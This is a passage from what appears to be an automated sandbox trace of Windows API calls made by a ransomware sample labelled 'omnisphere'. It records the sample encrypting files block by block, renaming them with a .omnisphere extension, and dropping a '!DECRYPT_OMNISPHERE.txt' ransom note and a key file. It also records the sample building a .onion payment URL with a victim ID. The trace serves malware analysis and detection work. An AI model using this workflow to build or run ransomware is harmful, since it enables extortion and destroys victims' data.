dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.762] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.763] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.766] CryptDestroyKey (hKey=0x1639568) returned 1 [0074.766] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0074.766] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x18e34, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0074.766] WriteFile (in: hFile=0x380, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0074.766] GetProcessHeap () returned 0x1600000 [0074.766] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x270) returned 0x164a0f0 [0074.766] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yxoK.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yxok.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yxoK.bmp.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yxok.bmp.omnisphere")) returned 1 [0074.767] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\yxoK.bmp.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\yxoK.bmp.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\yxoK.bmp.omnisphere.id" [0074.767] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\yxoK.bmp.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\yxok.bmp.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0074.768] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0074.769] CloseHandle (hObject=0x3a0) returned 1 [0074.770] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0074.771] CloseHandle (hObject=0x3bc) returned 1 [0074.771] SetEndOfFile (hFile=0x380) returned 1 [0074.771] FlushFileBuffers (hFile=0x380) returned 1 [0074.774] CloseHandle (hObject=0x380) returned 1 [0074.774] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\yxoK.bmp" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0074.774] GetProcessHeap () returned 0x1600000 [0074.774] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164f4d0 [0074.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0074.774] GetProcessHeap () returned 0x1600000 [0074.774] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f508 [0074.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f508, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0074.775] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0074.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.775] GetProcessHeap () returned 0x1600000 [0074.775] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f570 [0074.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f570, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0074.775] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0074.775] GetProcessHeap () returned 0x1600000 [0074.775] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x1668680 [0074.775] PathCombineW (in: pszDest=0x1668680, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0074.775] GetProcessHeap () returned 0x1600000 [0074.775] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1663b78 [0074.775] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.775] WriteFile (in: hFile=0x380, lpBuffer=0x1663b78*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1663b78*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0074.775] CloseHandle (hObject=0x380) returned 1 [0074.775] GetProcessHeap () returned 0x1600000 [0074.775] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164f4d0 | out: hHeap=0x1600000) returned 1 [0074.775] GetProcessHeap () returned 0x1600000 [0074.775] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fe00 [0074.775] PathCombineW (in: pszDest=0x163fe00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0074.775] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.776] WriteFile (in: hFile=0x380, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0074.776] CloseHandle (hObject=0x380) returned 1 [0074.776] GetProcessHeap () returned 0x1600000 [0074.776] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fe00 | out: hHeap=0x1600000) returned 1 [0074.776] GetProcessHeap () returned 0x1600000 [0074.776] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165fbe8 | out: hHeap=0x1600000) returned 1 [0074.776] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea86e260, ftCreationTime.dwHighDateTime=0x1d4c726, ftLastAccessTime.dwLowDateTime=0xf785c610, ftLastAccessTime.dwHighDateTime=0x1d4ce4d, ftLastWriteTime.dwLowDateTime=0xf785c610, ftLastWriteTime.dwHighDateTime=0x1d4ce4d, nFileSizeHigh=0x0, nFileSizeLow=0x13755, dwReserved0=0x0, dwReserved1=0xed, cFileName="ZazBvQZ_SvZ5b.flv", cAlternateFileName="ZAZBVQ~1.FLV")) returned 1 [0074.776] GetProcessHeap () returned 0x1600000 [0074.776] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163f300 [0074.776] PathCombineW (in: pszDest=0x163f300, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="ZazBvQZ_SvZ5b.flv" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\ZazBvQZ_SvZ5b.flv") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\ZazBvQZ_SvZ5b.flv" [0074.776] StrStrW (lpFirst=".omnisphere", lpSrch=".flv") returned 0x0 [0074.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\ZazBvQZ_SvZ5b.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zazbvqz_svz5b.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.776] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=79701) returned 1 [0074.776] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x13231, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0074.777] ReadFile (in: hFile=0x380, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] GetTickCount () returned 0x1152f1b [0074.777] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x1668d68) returned 1 [0074.778] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x16397a8) returned 1 [0074.778] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0074.778] CryptDestroyKey (hKey=0x16397a8) returned 1 [0074.778] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0074.778] CreateFileMappingW (hFile=0x380, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13755, lpName=0x0) returned 0x3bc [0074.778] MapViewOfFile (hFileMappingObject=0x3bc, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13755) returned 0x3450000 [0074.779] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x16681b8) returned 1 [0074.779] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639ae8) returned 1 [0074.779] CryptSetKeyParam (hKey=0x1639ae8, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: 